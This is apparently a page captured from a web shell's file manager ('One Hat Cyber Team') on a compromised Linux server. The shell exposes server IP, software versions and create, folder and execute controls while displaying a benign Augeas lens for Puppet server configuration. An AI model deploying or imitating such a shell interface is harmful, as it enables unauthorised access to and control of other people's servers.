⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.247
Server IP:
45.79.8.107
Server:
Linux localhost 5.15.0-140-generic #150-Ubuntu SMP Sat Apr 12 06:00:09 UTC 2025 x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.2-1ubuntu2.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
augeas
/
lenses
/
dist
/
View File Name :
trapperkeeper.aug
(* Module: Trapperkeeper Parses Trapperkeeper configuration files Author: Raphael Pinson
About: License This file is licenced under the LGPL v2+, like the rest of Augeas. About: Lens Usage To be documented About: Configuration files This lens applies to Trapperkeeper webservice configuration files. See
. About: Examples The
file contains various examples and tests. *) module Trapperkeeper = autoload xfm (************************************************************************ * Group: USEFUL PRIMITIVES *************************************************************************) (* View: empty *) let empty = Util.empty (* View: comment *) let comment = Util.comment (* View: sep *) let sep = del /[ \t]*[:=]/ ":" (* View: sep_with_spc *) let sep_with_spc = sep . Sep.opt_space (************************************************************************ * Group: BLOCKS (FROM 1.2, FOR 0.10 COMPATIBILITY) *************************************************************************) (* Variable: block_ldelim_newlines_re *) let block_ldelim_newlines_re = /[ \t\n]+\{([ \t\n]*\n)?/ (* Variable: block_rdelim_newlines_re *) let block_rdelim_newlines_re = /[ \t]*\}/ (* Variable: block_ldelim_newlines_default *) let block_ldelim_newlines_default = "\n{\n" (* Variable: block_rdelim_newlines_default *) let block_rdelim_newlines_default = "}" (************************************************************************ * View: block_newline * A block enclosed in brackets, with newlines forced * and indentation defaulting to a tab. * * Parameters: * entry:lens - the entry to be stored inside the block. * This entry should not include
, *
or
, * should be indented and finish with an eol. ************************************************************************) let block_newlines (entry:lens) (comment:lens) = del block_ldelim_newlines_re block_ldelim_newlines_default . ((entry | comment) . (Util.empty | entry | comment)*)? . del block_rdelim_newlines_re block_rdelim_newlines_default (************************************************************************ * Group: ENTRY TYPES *************************************************************************) let opt_dquot (lns:lens) = del /"?/ "" . lns . del /"?/ "" (* View: simple *) let simple = [ Util.indent . label "@simple" . opt_dquot (store /[A-Za-z0-9_.\/-]+/) . sep_with_spc . [ label "@value" . opt_dquot (store /[^,"\[ \t\n]+/) ] . Util.eol ] (* View: array *) let array = let lbrack = Util.del_str "[" in let rbrack = Util.del_str "]" in let opt_space = del /[ \t]*/ "" in let comma = opt_space . Util.del_str "," . opt_space in let elem = [ seq "elem" . opt_dquot (store /[^,"\[ \t\n]+/) ] in let elems = counter "elem" . Build.opt_list elem comma in [ Util.indent . label "@array" . store Rx.word . sep_with_spc . lbrack . Sep.opt_space . (elems . Sep.opt_space)? . rbrack . Util.eol ] (* View: hash *) let hash (lns:lens) = [ Util.indent . label "@hash" . store Rx.word . sep . block_newlines lns Util.comment . Util.eol ] (************************************************************************ * Group: ENTRY *************************************************************************) (* Just for typechecking *) let entry_no_rec = hash (simple|array) (* View: entry *) let rec entry = hash (entry|simple|array) (************************************************************************ * Group: LENS AND FILTER *************************************************************************) (* View: lns *) let lns = (empty|comment)* . (entry . (empty|comment)*)* (* Variable: filter *) let filter = incl "/etc/puppetserver/conf.d/*" . incl "/etc/puppetlabs/puppetserver/conf.d/*" . Util.stdexcl let xfm = transform lns filter